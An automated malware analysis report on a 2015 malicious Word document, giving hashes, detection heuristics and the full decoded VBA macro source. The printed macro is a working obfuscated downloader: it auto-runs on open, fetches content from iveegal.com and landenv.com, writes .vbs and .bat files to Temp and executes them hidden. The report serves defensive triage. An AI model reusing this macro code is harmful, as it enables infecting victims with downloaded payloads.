Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 425f17b6f229a4ce…

MALICIOUS

Office (OLE)

57.5 KB Created: 2015-10-16 10:31:00 Authoring application: Microsoft Office Word First seen: 2015-11-28
MD5: fea58358caf09edeb7efe58312de57a6 SHA-1: 10c30305e6965b447c80c8bfb06310645037d70b SHA-256: 425f17b6f229a4cee46bfe4cc94519044b266c56aac21ab36f47f99e283ea283
276 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1105 Ingress Tool Transfer

The sample contains VBA macros with multiple auto-execution entry points (Auto_Open, AutoOpen). Heuristics indicate potential use of Shell and CreateObject, suggesting the execution of arbitrary code. The VBA script attempts to construct URLs by concatenating strings and then calls a function 'Huqwhdkjqwl' which likely performs a download. The script is truncated, but the intent appears to be downloading and executing a second-stage payload from the domains 'iveegal.com' or 'landenv.com'.

Heuristics 12

  • ClamAV: Doc.Downloader.Generic-6698421-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.Generic-6698421-0
  • VBA macros detected medium 7 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Potential Shell call in VBA critical OLE_VBA_SHELL
    Potential Shell call in VBA
    Matched line in script
    nhfjjqwda = Shell(gh, 0)
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
    Set RTTjaskdjkqjwhdjkhasdjhas = CreateObject(DWQJDIQWDKWQJDHBB)
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    Sub AutoOpen()
  • Workbook_Open macro low OLE_VBA_WBOPEN
    Workbook_Open macro
    Matched line in script
    Sub Workbook_Open()
  • Auto_Open macro low OLE_VBA_AUTO
    Auto_Open macro
    Matched line in script
    Sub Auto_Open()
  • Environ() call (env variable access) low OLE_VBA_ENVIRON
    Environ() call (env variable access)
    Matched line in script
    Kalyma = Environ(hqhdwjqb)
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 6577 bytes
SHA-256: 58691732a25e16b3d292786e74a8bc802ff53b45dbe597ceedca6d378e80b452
Detection
ClamAV: No threats found
Obfuscation or payload: likely
70 of 136 identifiers look randomly generated (e.g. 'RTTjaskdjkqjwhdjkhasdjhas'); 1 string-concatenation chain(s) — consistent with name-mangling obfuscation.
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Sub Auto_Open()
    NUQDUIHAKJSHDWQ = "qwjdkl qwhdwqkjhjk21hekl12je2l1 hjk1h ek12"
    Makajanga
End Sub
Sub Makajanga()
    TEGQJHWDSA = "aksjd ashdjkasg ajs kdjashdlkasjdlkasd"
    Somali
End Sub
Sub AutoOpen()
    Makajanga
End Sub
Sub Somali()
    
    
    Dim TSTS As String, CDDD As String, LNSS As String
    Dim PBIn As String, ADANADA As String, STT2 As String, eDate As Date, CONT As String
    Dim Ndjs As Integer, BHQJGHDS As String, STT1 As String, hdjshd As Integer, MNHDSDAAA As String
    Dim ABTH As String, BBTH As String
    Dim klmn As Integer, TTKK As String
    Dim GEFORCE1 As String, GEFORCE2 As String
    
    'eDate = ""
   
    MNHDSDAAA = spb(92)
    ADANADA = Samsung(9898)
    BHQJGHDS = "Temp"
    PH2 = Module2.Kalyma(BHQJGHDS) + MNHDSDAAA
     
    ART = 315
    BFT = 316
    TSTS = ".t"
    Randomize
    eDate = #2/12/2010#
    Ndjs = Int(Year(eDate)) - 1938
    
    ATTH = hhr(Ndjs) + Chr(Ndjs + 12) + Chr(Ndjs + 12) + spb(4 + 4 + Ndjs)
    ATTH = ATTH + "://"

    TSTS = TSTS + "x" & "t"
    
    CDDD = "5716367236" + TSTS
    LNSS = "pipi" + TSTS
    STT1 = "iveegal.com/modules/"
    STT2 = "landenv.com/modules/"
    PBIn = ATTH + STT1 + CDDD
    
    CONT = Module2.Huqwhdkjqwl(PBIn)
    BHJD = Right(CONT, 15)
    
    hdjshd = InStr(1, BHJD, "exit")
    If (hdjshd = 0) Then
    NJKQWD = ""
    PBIn = "kqd jhqwjkdgqw jdg wkqjhjwqhd "
    PBIn = ATTH
    PBIn = PBIn + STT2 + CDDD
    CONT = Module2.Huqwhdkjqwl(PBIn)
    NFBH = Module2.Huqwhdkjqwl(ATTH + STT2 + LNSS)
    Else
    NFBH = Module2.Huqwhdkjqwl(ATTH + STT1 + LNSS)
    End If
    
    Module2.Crispy (1)
    
    DJKQW1 = "pioneer"
    CPLRP2 = "paytina"
    CPLRP3 = "cranb" + "erry"
    
    CONT = Replace(CONT, DJKQW1, PH2, 1)
    CONT = Replace(CONT, CPLRP2, NFBH, 1)
    CONT2 = Replace(CONT, CPLRP3, ADANADA, 1)
    
    TTKK = "$"
    
    klmn = CInt(Len(CONT2))
    For i = 1 To klmn
        If (Mid(CONT2, i, 1) = TTKK) Then
            If (Mid(CONT2, i - 1, 1) = TTKK) Then
                GEFORCE1 = Mid(CONT2, 1, i - 2)
                GEFORCE2 = Mid(CONT2, i + 1, klmn - i)
            End If
        End If
    Next i
    
    HQUJD = "bs"
    ABTH = PH2 + ADANADA + ".v" & HQUJD
    BBTH = PH2 + ADANADA + ".b" & "at"
    
    
    Open ABTH For Output As #ART
    Print #ART, GEFORCE1
    Close #ART
    
    Module2.Crispy (1)
     
    Open BBTH For Output As #BFT
    Print #BFT, GEFORCE2
    Close #BFT
    
    Module2.Crispy (1)
    
    QUHDQ = Module1.Fuflmdjoo(BBTH)
    Module1.Hameleon
    
End Sub
Sub Workbook_Open()
   JUQHDKASD = "qdjkhas jkdgahjsdg ajsd"
   JSADUQHDKASD = "qdjkhas jkdgahjsdg ajsd"
   QWDJUQHDKASD = "qdqwdqwdjkhas jkdgahjsdg ajsd"
   QWDJUQHDKASD = "asdasdas jkdgahjsdg ajsd"
   Makajanga
   HQQWDJUQHDKASD = "asdasdas jkdgahjsdg ajsd"
   QQWDWDJUQHDKASD = "asdasdas jkdgahjsdg ajsd"
         
End Sub
Public Function NHdjhasbdhas(a As Object)
NHdjhasbdhas = (a.responsetext)
End Function
Public Function Samsung(a As Integer)
Randomize
Samsung = CStr(Int((a / 2 * Rnd) + a))
End Function

Public Function spb(sps As Integer)
TQUGJAHSD = "qkjhd jaksjl;dk klqhwjkdhjk agds hj"
spb = Chr(sps)
End Function
Public Function Stkjrhbs(a As Integer)
Stkjrhbs = Sgn(a)
End Function












Attribute VB_Name = "Module1"
Sub Hameleon()
Dim pps As Integer
Dim charCount As Integer
charCount = ActiveDocument.Characters.Count - 1
BHDW = "k"
TRQFYAHJSDKJSAD = "kqh djkqwhdjakshd asjgdahsjgd jsad"
JFQW = "t"
pps = 0
Do While True
    pps = pps + 1
    If (ActiveDocument.Characters(pps) = BHDW) Then
        GTQGUYASD = "aksdhaskjdhluqwkd qwjgd qwkdjahsl d"
        If (ActiveDocument.Characters(pps - 1) = JFQW) Then
            ActiveDocument.Range(Start:=0, End:=pps).Delete
            ActiveDocument.Range(Start:=0, End:=charCount - pps - 1).Font.ColorIndex = wdBlack
            Exit Do
        End If
    End If
    If (pps = charCount) Then
        Exit Do
    End If
Loop
End Sub

Public Function Fuflmdjoo(gh As String)
Dim nhfjjqwda As Variant
nhfjjqwda = Shell(gh, 0)
TQFDJHASBDSAD = "kqjldk hjkhqjk2hek1h jkahsjdg"
End Function








Attribute VB_Name = "Module2"



Sub Crispy(Jnbb As Long)
Dim JjhdHs As Long
JjhdHs = Timer + Jnbb
Do While Timer < JjhdHs
DoEvents
Loop
End Sub

Public Function jahdwd(kwjhd As Integer)
jahdwd = Sgn(kwjhd)
End Function

Public Function Huqwhdkjqwl(nbqjbdjqw As String)
Dim dhjqwqkjww As Integer, ssddc As Integer, hqudhhajs As String, aaqjwhdq As Integer, JHQDJASD As String
Dim asd As String, TbajsbdjhGgsha As String, AAHQJD As String, RTTjaskdjkqjwhdjkhasdjhas As Object, huqihdjsSHDs As String, QYDGGJASSSS As String

TbajsbdjhGgsha = nbqjbdjqw
huqihdjsSHDs = TbajsbdjhGgsha
'qkhwdkjqwh jkdalksjdalksd
JQIDKANSD = "kqkjl12 k1lkhdkajjlkdl has"
JQKDHJANJQKW = "ljl kqjd hjakshdasdgsa k"
AHJDJKQWDSD = "qlwjd qlwjdwq jhkdqw"
QHDKJASHDQBN = "ML2.S"
Dim hquwd As Date, ajsid As Integer
Randomize
ajsid = Int(DatePart("d", "11/09/1997"))
BHJQWD = klmn(71 + Sgn(ajsid))
ssddc = jahdwd(7 - ajsid)
HQDUQ = hhr(Val(81 + ssddc))
hqudhhajs = klmn(Int(78 + ssddc))
BHQDHJWQDW = QHDKJASHDQBN + "erver" + "XM" & "L" + BHJQWD + ""
BYGDWHQGWHDWQ = BHQDHJWQDW + "TT" + HQDUQ
'1j2elka djkhasdkj dsakdas
QYDGGJASSSS = "E"
NNNHDQYUWG = hhr(11 * 2 * 4 + 4 * ssddc)
QYDGGJASSSS = hhr(71) + QYDGGJASSSS & NNNHDQYUWG
DWQJDIQWDKWQJDHBB = hqudhhajs + "SX" + BYGDWHQGWHDWQ
'akshdjk asgdj kasdhjasghdkjahshd
Set RTTjaskdjkqjwhdjkhasdjhas = CreateObject(DWQJDIQWDKWQJDHBB)
'qhdj ahskdkalsjdklashd las
RTTjaskdjkqjwhdjkhasdjhas.Open QYDGGJASSSS, huqihdjsSHDs
RTTjaskdjkqjwhdjkhasdjhas.Send (JHQDJASD)
AAHQJD = ThisDocument.NHdjhasbdhas(RTTjaskdjkqjwhdjkhasdjhas)
Huqwhdkjqwl = AAHQJD

End Function
Public Function Kalyma(hqhdwjqb As String)
VGHQWDNSAD = "qkjh dkahsd ghqwdygjasg djfs"
Kalyma = Environ(hqhdwjqb)
End Function
Public Function klmn(pag As Integer)
klmn = Chr(pag)
RTYFQJHASDSD = "qkjd lk2oui uaoids ajkshdas kjd"
End Function

Public Function hhr(sps As Integer)
hhr = Chr(sps)
VJHQKWJDASD = "qjkwd ashdkasd ks"
End Function